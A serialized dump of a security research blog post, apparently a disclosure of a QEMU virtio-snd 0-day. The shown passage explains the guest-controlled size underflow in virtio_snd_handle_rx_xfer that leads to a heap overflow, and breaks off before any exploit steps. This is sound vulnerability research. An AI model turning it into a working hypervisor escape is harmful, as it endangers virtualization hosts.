today?",{"type":26,"tag":35,"props":123022,"children":123023},{},[123024,123029],{"type":26,"tag":105,"props":123025,"children":123026},{},[123027],{"type":32,"value":123028},"For auditors:",{"type":32,"value":123030}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":26,"tag":35,"props":123032,"children":123033},{},[123034,123039],{"type":26,"tag":105,"props":123035,"children":123036},{},[123037],{"type":32,"value":123038},"For builders:",{"type":32,"value":123040}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":26,"tag":2548,"props":123042,"children":123043},{},[123044],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":123046},[123047,123048,123051,123057,123058,123066,123072,123075,123076,123080],{"id":107343,"depth":516,"text":107346},{"id":107485,"depth":516,"text":107488,"children":123049},[123050],{"id":107491,"depth":539,"text":107494},{"id":107920,"depth":516,"text":107923,"children":123052},[123053,123054,123055,123056],{"id":107931,"depth":539,"text":107934},{"id":108119,"depth":539,"text":108122},{"id":111500,"depth":539,"text":111503},{"id":112714,"depth":539,"text":112717},{"id":114351,"depth":516,"text":114354},{"id":114857,"depth":516,"text":114860,"children":123059},[123060,123061,123062,123063,123064,123065],{"id":114879,"depth":539,"text":114882},{"id":116204,"depth":539,"text":107298},{"id":117340,"depth":539,"text":117343},{"id":118008,"depth":539,"text":118011},{"id":120664,"depth":539,"text":120667},{"id":121218,"depth":539,"text":107322},{"id":122147,"depth":516,"text":122150,"children":123067},[123068,123069,123070,123071],{"id":122158,"depth":539,"text":122161},{"id":122328,"depth":539,"text":122331},{"id":122352,"depth":539,"text":122355},{"id":122368,"depth":539,"text":122371},{"id":122382,"depth":516,"text":122385,"children":123073},[123074],{"id":122388,"depth":539,"text":122391},{"id":122422,"depth":516,"text":122425},{"id":122599,"depth":516,"text":107335,"children":123077},[123078,123079],{"id":122932,"depth":539,"text":107292},{"id":122961,"depth":539,"text":107298},{"id":122992,"depth":516,"text":122995},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":123085,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":123086,"description":123087,"date":123088,"author":123089,"image":123090,"isFeatured":18,"onBlogPage":18,"tags":123092,"body":123095,"_type":2566,"_id":131381,"_source":2568,"_file":131382,"_stem":131383,"_extension":2571},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":123091,"width":16,"height":17},"/posts/virtio-snd-qemu-0day/title.png",[123093,123094],"qemu","heap-overflow",{"type":23,"children":123096,"toc":131363},[123097,123102,123107,123112,123118,123123,123128,123136,123142,123154,123158,123163,123171,123176,123182,123187,123200,123810,123845,123890,123924,123959,124094,124142,124148,124153,124909,124954,124990,125025,125090,125110,125560,125607,125610,125615,125680,125706,125728,125732,125737,125742,125748,125753,125758,125763,125769,125782,125788,125793,125801,125871,125876,125882,125895,126121,126184,126203,126586,126591,126624,126629,126905,126917,126935,127214,127226,127229,127264,127269,127275,127287,127299,127304,127309,127319,127354,127971,128003,128014,128050,128063,128069,128081,128089,128115,128120,128153,128194,128200,128219,128257,128265,128314,128319,128368,128373,128381,128468,128474,128513,128525,128533,128551,128570,128578,128590,128598,128617,128625,128636,128644,128655,128663,128676,128684,128690,128695,128708,128716,128734,128742,128754,128759,128767,128803,128836,128843,128877,128885,128890,128896,128908,128919,129198,129258,129326,129334,129368,129972,129983,129991,129997,130002,130013,130767,130800,130812,130898,130918,131127,131174,131186,131192,131211,131237,131265,131281,131308,131311,131331,131345,131349,131354,131359],{"type":26,"tag":35,"props":123098,"children":123099},{},[123100],{"type":32,"value":123101},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":26,"tag":27,"props":123103,"children":123104},{"id":123093},[123105],{"type":32,"value":123106},"QEMU",{"type":26,"tag":35,"props":123108,"children":123109},{},[123110],{"type":32,"value":123111},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":26,"tag":41,"props":123113,"children":123115},{"id":123114},"virtio-devices",[123116],{"type":32,"value":123117},"Virtio Devices",{"type":26,"tag":35,"props":123119,"children":123120},{},[123121],{"type":32,"value":123122},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":26,"tag":35,"props":123124,"children":123125},{},[123126],{"type":32,"value":123127},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":26,"tag":35,"props":123129,"children":123130},{},[123131],{"type":26,"tag":132,"props":123132,"children":123135},{"alt":123133,"src":123134},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":26,"tag":27,"props":123137,"children":123139},{"id":123138},"finding-a-bug",[123140],{"type":32,"value":123141},"Finding a Bug",{"type":26,"tag":35,"props":123143,"children":123144},{},[123145,123147,123153],{"type":32,"value":123146},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":26,"tag":53,"props":123148,"children":123150},{"className":123149},[],[123151],{"type":32,"value":123152},"virtio-snd",{"type":32,"value":353},{"type":26,"tag":41,"props":123155,"children":123156},{"id":123152},[123157],{"type":32,"value":123152},{"type":26,"tag":35,"props":123159,"children":123160},{},[123161],{"type":32,"value":123162},"From the official documentation:",{"type":26,"tag":2637,"props":123164,"children":123165},{},[123166],{"type":26,"tag":35,"props":123167,"children":123168},{},[123169],{"type":32,"value":123170},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":26,"tag":35,"props":123172,"children":123173},{},[123174],{"type":32,"value":123175},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":26,"tag":70,"props":123177,"children":123179},{"id":123178},"audio-data-buffers",[123180],{"type":32,"value":123181},"Audio Data Buffers",{"type":26,"tag":35,"props":123183,"children":123184},{},[123185],{"type":32,"value":123186},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":26,"tag":35,"props":123188,"children":123189},{},[123190,123192,123198],{"type":32,"value":123191},"For example, the following is ",{"type":26,"tag":53,"props":123193,"children":123195},{"className":123194},[],[123196],{"type":32,"value":123197},"virtio_snd_handle_rx_xfer",{"type":32,"value":123199},", which is responsible for allocating buffers for an input audio stream:",{"type":26,"tag":465,"props":123201,"children":123203},{"code":123202,"language":2854,"meta":7,"className":16220,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtQueueElement *elem;\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement)); // [1]\n if (!elem) {\n break;\n }\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status); // [2]\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n buffer->elem = elem;\n buffer->vq = vq;\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n }\n continue;\n\n [...]\n}\n\n",[123204],{"type":26,"tag":53,"props":123205,"children":123206},{"__ignoreMap":7},[123207,123214,123222,123230,123237,123245,123253,123261,123309,123316,123333,123340,123347,123359,123376,123383,123419,123439,123450,123457,123464,123472,123479,123512,123571,123589,123628,123653,123677,123705,123732,123770,123777,123789,123796,123803],{"type":26,"tag":475,"props":123208,"children":123209},{"class":477,"line":478},[123210],{"type":26,"tag":475,"props":123211,"children":123212},{"style":552},[123213],{"type":32,"value":49058},{"type":26,"tag":475,"props":123215,"children":123216},{"class":477,"line":516},[123217],{"type":26,"tag":475,"props":123218,"children":123219},{"style":552},[123220],{"type":32,"value":123221}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":26,"tag":475,"props":123223,"children":123224},{"class":477,"line":539},[123225],{"type":26,"tag":475,"props":123226,"children":123227},{"style":552},[123228],{"type":32,"value":123229}," * respective streams for consumption.\n",{"type":26,"tag":475,"props":123231,"children":123232},{"class":477,"line":548},[123233],{"type":26,"tag":475,"props":123234,"children":123235},{"style":552},[123236],{"type":32,"value":19197},{"type":26,"tag":475,"props":123238,"children":123239},{"class":477,"line":558},[123240],{"type":26,"tag":475,"props":123241,"children":123242},{"style":552},[123243],{"type":32,"value":123244}," * @vdev: VirtIOSound device\n",{"type":26,"tag":475,"props":123246,"children":123247},{"class":477,"line":582},[123248],{"type":26,"tag":475,"props":123249,"children":123250},{"style":552},[123251],{"type":32,"value":123252}," * @vq: rx virtqueue\n",{"type":26,"tag":475,"props":123254,"children":123255},{"class":477,"line":596},[123256],{"type":26,"tag":475,"props":123257,"children":123258},{"style":552},[123259],{"type":32,"value":123260}," */\n",{"type":26,"tag":475,"props":123262,"children":123263},{"class":477,"line":610},[123264,123268,123272,123277,123282,123286,123291,123296,123300,123305],{"type":26,"tag":475,"props":123265,"children":123266},{"style":482},[123267],{"type":32,"value":50736},{"type":26,"tag":475,"props":123269,"children":123270},{"style":482},[123271],{"type":32,"value":50741},{"type":26,"tag":475,"props":123273,"children":123274},{"style":493},[123275],{"type":32,"value":123276}," virtio_snd_handle_rx_xfer",{"type":26,"tag":475,"props":123278,"children":123279},{"style":499},[123280],{"type":32,"value":123281},"(VirtIODevice ",{"type":26,"tag":475,"props":123283,"children":123284},{"style":714},[123285],{"type":32,"value":4282},{"type":26,"tag":475,"props":123287,"children":123288},{"style":2375},[123289],{"type":32,"value":123290},"vdev",{"type":26,"tag":475,"props":123292,"children":123293},{"style":499},[123294],{"type":32,"value":123295},", VirtQueue ",{"type":26,"tag":475,"props":123297,"children":123298},{"style":714},[123299],{"type":32,"value":4282},{"type":26,"tag":475,"props":123301,"children":123302},{"style":2375},[123303],{"type":32,"value":123304},"vq",{"type":26,"tag":475,"props":123306,"children":123307},{"style":499},[123308],{"type":32,"value":647},{"type":26,"tag":475,"props":123310,"children":123311},{"class":477,"line":650},[123312],{"type":26,"tag":475,"props":123313,"children":123314},{"style":499},[123315],{"type":32,"value":10589},{"type":26,"tag":475,"props":123317,"children":123318},{"class":477,"line":679},[123319,123324,123328],{"type":26,"tag":475,"props":123320,"children":123321},{"style":499},[123322],{"type":32,"value":123323}," VirtQueueElement ",{"type":26,"tag":475,"props":123325,"children":123326},{"style":714},[123327],{"type":32,"value":4282},{"type":26,"tag":475,"props":123329,"children":123330},{"style":499},[123331],{"type":32,"value":123332},"elem;\n",{"type":26,"tag":475,"props":123334,"children":123335},{"class":477,"line":735},[123336],{"type":26,"tag":475,"props":123337,"children":123338},{"style":499},[123339],{"type":32,"value":104233},{"type":26,"tag":475,"props":123341,"children":123342},{"class":477,"line":744},[123343],{"type":26,"tag":475,"props":123344,"children":123345},{"emptyLinePlaceholder":18},[123346],{"type":32,"value":545},{"type":26,"tag":475,"props":123348,"children":123349},{"class":477,"line":753},[123350,123354],{"type":26,"tag":475,"props":123351,"children":123352},{"style":586},[123353],{"type":32,"value":2737},{"type":26,"tag":475,"props":123355,"children":123356},{"style":499},[123357],{"type":32,"value":123358}," (;;) {\n",{"type":26,"tag":475,"props":123360,"children":123361},{"class":477,"line":761},[123362,123367,123371],{"type":26,"tag":475,"props":123363,"children":123364},{"style":499},[123365],{"type":32,"value":123366}," VirtIOSoundPCMStream ",{"type":26,"tag":475,"props":123368,"children":123369},{"style":714},[123370],{"type":32,"value":4282},{"type":26,"tag":475,"props":123372,"children":123373},{"style":499},[123374],{"type":32,"value":123375},"stream;\n",{"type":26,"tag":475,"props":123377,"children":123378},{"class":477,"line":770},[123379],{"type":26,"tag":475,"props":123380,"children":123381},{"emptyLinePlaceholder":18},[123382],{"type":32,"value":545},{"type":26,"tag":475,"props":123384,"children":123385},{"class":477,"line":794},[123386,123391,123395,123400,123405,123409,123414],{"type":26,"tag":475,"props":123387,"children":123388},{"style":499},[123389],{"type":32,"value":123390}," elem ",{"type":26,"tag":475,"props":123392,"children":123393},{"style":714},[123394],{"type":32,"value":786},{"type":26,"tag":475,"props":123396,"children":123397},{"style":493},[123398],{"type":32,"value":123399}," virtqueue_pop",{"type":26,"tag":475,"props":123401,"children":123402},{"style":499},[123403],{"type":32,"value":123404},"(vq, ",{"type":26,"tag":475,"props":123406,"children":123407},{"style":482},[123408],{"type":32,"value":55019},{"type":26,"tag":475,"props":123410,"children":123411},{"style":499},[123412],{"type":32,"value":123413},"(VirtQueueElement));",{"type":26,"tag":475,"props":123415,"children":123416},{"style":552},[123417],{"type":32,"value":123418}," // [1]\n",{"type":26,"tag":475,"props":123420,"children":123421},{"class":477,"line":831},[123422,123426,123430,123434],{"type":26,"tag":475,"props":123423,"children":123424},{"style":586},[123425],{"type":32,"value":2980},{"type":26,"tag":475,"props":123427,"children":123428},{"style":499},[123429],{"type":32,"value":2775},{"type":26,"tag":475,"props":123431,"children":123432},{"style":714},[123433],{"type":32,"value":20329},{"type":26,"tag":475,"props":123435,"children":123436},{"style":499},[123437],{"type":32,"value":123438},"elem) {\n",{"type":26,"tag":475,"props":123440,"children":123441},{"class":477,"line":845},[123442,123446],{"type":26,"tag":475,"props":123443,"children":123444},{"style":586},[123445],{"type":32,"value":3006},{"type":26,"tag":475,"props":123447,"children":123448},{"style":499},[123449],{"type":32,"value":2729},{"type":26,"tag":475,"props":123451,"children":123452},{"class":477,"line":854},[123453],{"type":26,"tag":475,"props":123454,"children":123455},{"style":499},[123456],{"type":32,"value":750},{"type":26,"tag":475,"props":123458,"children":123459},{"class":477,"line":862},[123460],{"type":26,"tag":475,"props":123461,"children":123462},{"emptyLinePlaceholder":18},[123463],{"type":32,"value":545},{"type":26,"tag":475,"props":123465,"children":123466},{"class":477,"line":885},[123467],{"type":26,"tag":475,"props":123468,"children":123469},{"style":499},[123470],{"type":32,"value":123471}," [...]\n",{"type":26,"tag":475,"props":123473,"children":123474},{"class":477,"line":913},[123475],{"type":26,"tag":475,"props":123476,"children":123477},{"emptyLinePlaceholder":18},[123478],{"type":32,"value":545},{"type":26,"tag":475,"props":123480,"children":123481},{"class":477,"line":926},[123482,123487,123491,123495,123499,123503,123508],{"type":26,"tag":475,"props":123483,"children":123484},{"style":493},[123485],{"type":32,"value":123486}," WITH_QEMU_LOCK_GUARD",{"type":26,"tag":475,"props":123488,"children":123489},{"style":499},[123490],{"type":32,"value":626},{"type":26,"tag":475,"props":123492,"children":123493},{"style":714},[123494],{"type":32,"value":2816},{"type":26,"tag":475,"props":123496,"children":123497},{"style":2375},[123498],{"type":32,"value":35955},{"type":26,"tag":475,"props":123500,"children":123501},{"style":499},[123502],{"type":32,"value":13464},{"type":26,"tag":475,"props":123504,"children":123505},{"style":2375},[123506],{"type":32,"value":123507},"queue_mutex",{"type":26,"tag":475,"props":123509,"children":123510},{"style":499},[123511],{"type":32,"value":676},{"type":26,"tag":475,"props":123513,"children":123514},{"class":477,"line":948},[123515,123520,123524,123529,123533,123537,123541,123546,123550,123554,123558,123563,123567],{"type":26,"tag":475,"props":123516,"children":123517},{"style":499},[123518],{"type":32,"value":123519}," size ",{"type":26,"tag":475,"props":123521,"children":123522},{"style":714},[123523],{"type":32,"value":786},{"type":26,"tag":475,"props":123525,"children":123526},{"style":493},[123527],{"type":32,"value":123528}," iov_size",{"type":26,"tag":475,"props":123530,"children":123531},{"style":499},[123532],{"type":32,"value":626},{"type":26,"tag":475,"props":123534,"children":123535},{"style":2375},[123536],{"type":32,"value":51755},{"type":26,"tag":475,"props":123538,"children":123539},{"style":499},[123540],{"type":32,"value":13464},{"type":26,"tag":475,"props":123542,"children":123543},{"style":2375},[123544],{"type":32,"value":123545},"in_sg",{"type":26,"tag":475,"props":123547,"children":123548},{"style":499},[123549],{"type":32,"value":637},{"type":26,"tag":475,"props":123551,"children":123552},{"style":2375},[123553],{"type":32,"value":51755},{"type":26,"tag":475,"props":123555,"children":123556},{"style":499},[123557],{"type":32,"value":13464},{"type":26,"tag":475,"props":123559,"children":123560},{"style":2375},[123561],{"type":32,"value":123562},"in_num",{"type":26,"tag":475,"props":123564,"children":123565},{"style":499},[123566],{"type":32,"value":2794},{"type":26,"tag":475,"props":123568,"children":123569},{"style":714},[123570],{"type":32,"value":50553},{"type":26,"tag":475,"props":123572,"children":123573},{"class":477,"line":966},[123574,123579,123584],{"type":26,"tag":475,"props":123575,"children":123576},{"style":482},[123577],{"type":32,"value":123578}," sizeof",{"type":26,"tag":475,"props":123580,"children":123581},{"style":499},[123582],{"type":32,"value":123583},"(virtio_snd_pcm_status);",{"type":26,"tag":475,"props":123585,"children":123586},{"style":552},[123587],{"type":32,"value":123588}," // [2]\n",{"type":26,"tag":475,"props":123590,"children":123591},{"class":477,"line":979},[123592,123597,123601,123606,123610,123614,123619,123623],{"type":26,"tag":475,"props":123593,"children":123594},{"style":499},[123595],{"type":32,"value":123596}," buffer ",{"type":26,"tag":475,"props":123598,"children":123599},{"style":714},[123600],{"type":32,"value":786},{"type":26,"tag":475,"props":123602,"children":123603},{"style":493},[123604],{"type":32,"value":123605}," g_malloc0",{"type":26,"tag":475,"props":123607,"children":123608},{"style":499},[123609],{"type":32,"value":626},{"type":26,"tag":475,"props":123611,"children":123612},{"style":482},[123613],{"type":32,"value":55019},{"type":26,"tag":475,"props":123615,"children":123616},{"style":499},[123617],{"type":32,"value":123618},"(VirtIOSoundPCMBuffer) ",{"type":26,"tag":475,"props":123620,"children":123621},{"style":714},[123622],{"type":32,"value":1106},{"type":26,"tag":475,"props":123624,"children":123625},{"style":499},[123626],{"type":32,"value":123627}," size);\n",{"type":26,"tag":475,"props":123629,"children":123630},{"class":477,"line":1006},[123631,123636,123640,123644,123648],{"type":26,"tag":475,"props":123632,"children":123633},{"style":2375},[123634],{"type":32,"value":123635}," buffer",{"type":26,"tag":475,"props":123637,"children":123638},{"style":499},[123639],{"type":32,"value":13464},{"type":26,"tag":475,"props":123641,"children":123642},{"style":2375},[123643],{"type":32,"value":51755},{"type":26,"tag":475,"props":123645,"children":123646},{"style":714},[123647],{"type":32,"value":2383},{"type":26,"tag":475,"props":123649,"children":123650},{"style":499},[123651],{"type":32,"value":123652}," elem;\n",{"type":26,"tag":475,"props":123654,"children":123655},{"class":477,"line":1046},[123656,123660,123664,123668,123672],{"type":26,"tag":475,"props":123657,"children":123658},{"style":2375},[123659],{"type":32,"value":123635},{"type":26,"tag":475,"props":123661,"children":123662},{"style":499},[123663],{"type":32,"value":13464},{"type":26,"tag":475,"props":123665,"children":123666},{"style":2375},[123667],{"type":32,"value":123304},{"type":26,"tag":475,"props":123669,"children":123670},{"style":714},[123671],{"type":32,"value":2383},{"type":26,"tag":475,"props":123673,"children":123674},{"style":499},[123675],{"type":32,"value":123676}," vq;\n",{"type":26,"tag":475,"props":123678,"children":123679},{"class":477,"line":1068},[123680,123684,123688,123693,123697,123701],{"type":26,"tag":475,"props":123681,"children":123682},{"style":2375},[123683],{"type":32,"value":123635},{"type":26,"tag":475,"props":123685,"children":123686},{"style":499},[123687],{"type":32,"value":13464},{"type":26,"tag":475,"props":123689,"children":123690},{"style":2375},[123691],{"type":32,"value":123692},"size",{"type":26,"tag":475,"props":123694,"children":123695},{"style":714},[123696],{"type":32,"value":2383},{"type":26,"tag":475,"props":123698,"children":123699},{"style":903},[123700],{"type":32,"value":2752},{"type":26,"tag":475,"props":123702,"children":123703},{"style":499},[123704],{"type":32,"value":2729},{"type":26,"tag":475,"props":123706,"children":123707},{"class":477,"line":1077},[123708,123712,123716,123720,123724,123728],{"type":26,"tag":475,"props":123709,"children":123710},{"style":2375},[123711],{"type":32,"value":123635},{"type":26,"tag":475,"props":123713,"children":123714},{"style":499},[123715],{"type":32,"value":13464},{"type":26,"tag":475,"props":123717,"children":123718},{"style":2375},[123719],{"type":32,"value":13608},{"type":26,"tag":475,"props":123721,"children":123722},{"style":714},[123723],{"type":32,"value":2383},{"type":26,"tag":475,"props":123725,"children":123726},{"style":903},[123727],{"type":32,"value":2752},{"type":26,"tag":475,"props":123729,"children":123730},{"style":499},[123731],{"type":32,"value":2729},{"type":26,"tag":475,"props":123733,"children":123734},{"class":477,"line":1090},[123735,123740,123744,123748,123752,123756,123761,123766],{"type":26,"tag":475,"props":123736,"children":123737},{"style":493},[123738],{"type":32,"value":123739}," QSIMPLEQ_INSERT_TAIL",{"type":26,"tag":475,"props":123741,"children":123742},{"style":499},[123743],{"type":32,"value":626},{"type":26,"tag":475,"props":123745,"children":123746},{"style":714},[123747],{"type":32,"value":2816},{"type":26,"tag":475,"props":123749,"children":123750},{"style":2375},[123751],{"type":32,"value":35955},{"type":26,"tag":475,"props":123753,"children":123754},{"style":499},[123755],{"type":32,"value":13464},{"type":26,"tag":475,"props":123757,"children":123758},{"style":2375},[123759],{"type":32,"value":123760},"queue",{"type":26,"tag":475,"props":123762,"children":123763},{"style":499},[123764],{"type":32,"value":123765},", buffer, entry);",{"type":26,"tag":475,"props":123767,"children":123768},{"style":552},[123769],{"type":32,"value":52320},{"type":26,"tag":475,"props":123771,"children":123772},{"class":477,"line":1119},[123773],{"type":26,"tag":475,"props":123774,"children":123775},{"style":499},[123776],{"type":32,"value":750},{"type":26,"tag":475,"props":123778,"children":123779},{"class":477,"line":1132},[123780,123785],{"type":26,"tag":475,"props":123781,"children":123782},{"style":586},[123783],{"type":32,"value":123784}," continue",{"type":26,"tag":475,"props":123786,"children":123787},{"style":499},[123788],{"type":32,"value":2729},{"type":26,"tag":475,"props":123790,"children":123791},{"class":477,"line":1146},[123792],{"type":26,"tag":475,"props":123793,"children":123794},{"emptyLinePlaceholder":18},[123795],{"type":32,"value":545},{"type":26,"tag":475,"props":123797,"children":123798},{"class":477,"line":1155},[123799],{"type":26,"tag":475,"props":123800,"children":123801},{"style":499},[123802],{"type":32,"value":123471},{"type":26,"tag":475,"props":123804,"children":123805},{"class":477,"line":1163},[123806],{"type":26,"tag":475,"props":123807,"children":123808},{"style":499},[123809],{"type":32,"value":3607},{"type":26,"tag":35,"props":123811,"children":123812},{},[123813,123815,123821,123823,123829,123831,123836,123837,123843],{"type":32,"value":123814},"At ",{"type":26,"tag":53,"props":123816,"children":123818},{"className":123817},[],[123819],{"type":32,"value":123820},"[1]",{"type":32,"value":123822},", a ",{"type":26,"tag":53,"props":123824,"children":123826},{"className":123825},[],[123827],{"type":32,"value":123828},"VirtQueueElement *elem",{"type":32,"value":123830}," is popped from the virtqueue. It contains the ",{"type":26,"tag":53,"props":123832,"children":123834},{"className":123833},[],[123835],{"type":32,"value":123545},{"type":32,"value":209},{"type":26,"tag":53,"props":123838,"children":123840},{"className":123839},[],[123841],{"type":32,"value":123842},"out_sg",{"type":32,"value":123844}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":26,"tag":35,"props":123846,"children":123847},{},[123848,123850,123856,123858,123864,123866,123872,123874,123880,123882,123888],{"type":32,"value":123849},"Further at ",{"type":26,"tag":53,"props":123851,"children":123853},{"className":123852},[],[123854],{"type":32,"value":123855},"[2]",{"type":32,"value":123857},", the device computes the size of the data buffer as ",{"type":26,"tag":53,"props":123859,"children":123861},{"className":123860},[],[123862],{"type":32,"value":123863},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":32,"value":123865},". That value is then used in the allocation: ",{"type":26,"tag":53,"props":123867,"children":123869},{"className":123868},[],[123870],{"type":32,"value":123871},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":32,"value":123873},". Finally, at ",{"type":26,"tag":53,"props":123875,"children":123877},{"className":123876},[],[123878],{"type":32,"value":123879},"[3]",{"type":32,"value":123881},", the newly allocated buffer is appended to the ",{"type":26,"tag":53,"props":123883,"children":123885},{"className":123884},[],[123886],{"type":32,"value":123887},"stream->queue",{"type":32,"value":123889}," linked list.",{"type":26,"tag":35,"props":123891,"children":123892},{},[123893,123895,123900,123902,123907,123909,123914,123916,123922],{"type":32,"value":123894},"Because both the ",{"type":26,"tag":53,"props":123896,"children":123898},{"className":123897},[],[123899],{"type":32,"value":123545},{"type":32,"value":123901}," iovec and the ",{"type":26,"tag":53,"props":123903,"children":123905},{"className":123904},[],[123906],{"type":32,"value":123562},{"type":32,"value":123908}," field are guest-controlled, and there is no check that the total ",{"type":26,"tag":53,"props":123910,"children":123912},{"className":123911},[],[123913],{"type":32,"value":123545},{"type":32,"value":123915}," size is at least ",{"type":26,"tag":53,"props":123917,"children":123919},{"className":123918},[],[123920],{"type":32,"value":123921},"sizeof(virtio_snd_pcm_status)",{"type":32,"value":123923},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":26,"tag":35,"props":123925,"children":123926},{},[123927,123929,123934,123936,123942,123944,123950,123952,123958],{"type":32,"value":123928},"From the guest driver, we can provide an empty ",{"type":26,"tag":53,"props":123930,"children":123932},{"className":123931},[],[123933],{"type":32,"value":123545},{"type":32,"value":123935}," iovec. In that case, the calculation becomes ",{"type":26,"tag":53,"props":123937,"children":123939},{"className":123938},[],[123940],{"type":32,"value":123941},"0 - sizeof(virtio_snd_pcm_status)",{"type":32,"value":123943},", so the allocation size effectively becomes ",{"type":26,"tag":53,"props":123945,"children":123947},{"className":123946},[],[123948],{"type":32,"value":123949},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":32,"value":123951},". Given the definition of ",{"type":26,"tag":53,"props":123953,"children":123955},{"className":123954},[],[123956],{"type":32,"value":123957},"VirtIOSoundPCMBuffer",{"type":32,"value":179},{"type":26,"tag":465,"props":123960,"children":123962},{"code":123961,"language":2854,"meta":7,"className":16220,"style":7},"struct VirtIOSoundPCMBuffer {\n QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n VirtQueueElement *elem;\n VirtQueue *vq;\n size_t size;\n uint64_t offset;\n /* Used for the TX queue for lazy I/O copy from `elem` */\n bool populated;\n uint8_t data[];\n};\n",[123963],{"type":26,"tag":53,"props":123964,"children":123965},{"__ignoreMap":7},[123966,123978,123991,124006,124023,124035,124047,124055,124067,124087],{"type":26,"tag":475,"props":123967,"children":123968},{"class":477,"line":478},[123969,123973],{"type":26,"tag":475,"props":123970,"children":123971},{"style":482},[123972],{"type":32,"value":9111},{"type":26,"tag":475,"props":123974,"children":123975},{"style":499},[123976],{"type":32,"value":123977}," VirtIOSoundPCMBuffer {\n",{"type":26,"tag":475,"props":123979,"children":123980},{"class":477,"line":516},[123981,123986],{"type":26,"tag":475,"props":123982,"children":123983},{"style":493},[123984],{"type":32,"value":123985}," QSIMPLEQ_ENTRY",{"type":26,"tag":475,"props":123987,"children":123988},{"style":499},[123989],{"type":32,"value":123990},"(VirtIOSoundPCMBuffer) entry;\n",{"type":26,"tag":475,"props":123992,"children":123993},{"class":477,"line":539},[123994,123998,124002],{"type":26,"tag":475,"props":123995,"children":123996},{"style":499},[123997],{"type":32,"value":123323},{"type":26,"tag":475,"props":123999,"children":124000},{"style":714},[124001],{"type":32,"value":4282},{"type":26,"tag":475,"props":124003,"children":124004},{"style":499},[124005],{"type":32,"value":123332},{"type":26,"tag":475,"props":124007,"children":124008},{"class":477,"line":548},[124009,124014,124018],{"type":26,"tag":475,"props":124010,"children":124011},{"style":499},[124012],{"type":32,"value":124013}," VirtQueue ",{"type":26,"tag":475,"props":124015,"children":124016},{"style":714},[124017],{"type":32,"value":4282},{"type":26,"tag":475,"props":124019,"children":124020},{"style":499},[124021],{"type":32,"value":124022},"vq;\n",{"type":26,"tag":475,"props":124024,"children":124025},{"class":477,"line":558},[124026,124030],{"type":26,"tag":475,"props":124027,"children":124028},{"style":482},[124029],{"type":32,"value":16270},{"type":26,"tag":475,"props":124031,"children":124032},{"style":499},[124033],{"type":32,"value":124034}," size;\n",{"type":26,"tag":475,"props":124036,"children":124037},{"class":477,"line":582},[124038,124042],{"type":26,"tag":475,"props":124039,"children":124040},{"style":482},[124041],{"type":32,"value":55304},{"type":26,"tag":475,"props":124043,"children":124044},{"style":499},[124045],{"type":32,"value":124046}," offset;\n",{"type":26,"tag":475,"props":124048,"children":124049},{"class":477,"line":596},[124050],{"type":26,"tag":475,"props":124051,"children":124052},{"style":552},[124053],{"type":32,"value":124054}," /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":26,"tag":475,"props":124056,"children":124057},{"class":477,"line":610},[124058,124062],{"type":26,"tag":475,"props":124059,"children":124060},{"style":482},[124061],{"type":32,"value":46166},{"type":26,"tag":475,"props":124063,"children":124064},{"style":499},[124065],{"type":32,"value":124066}," 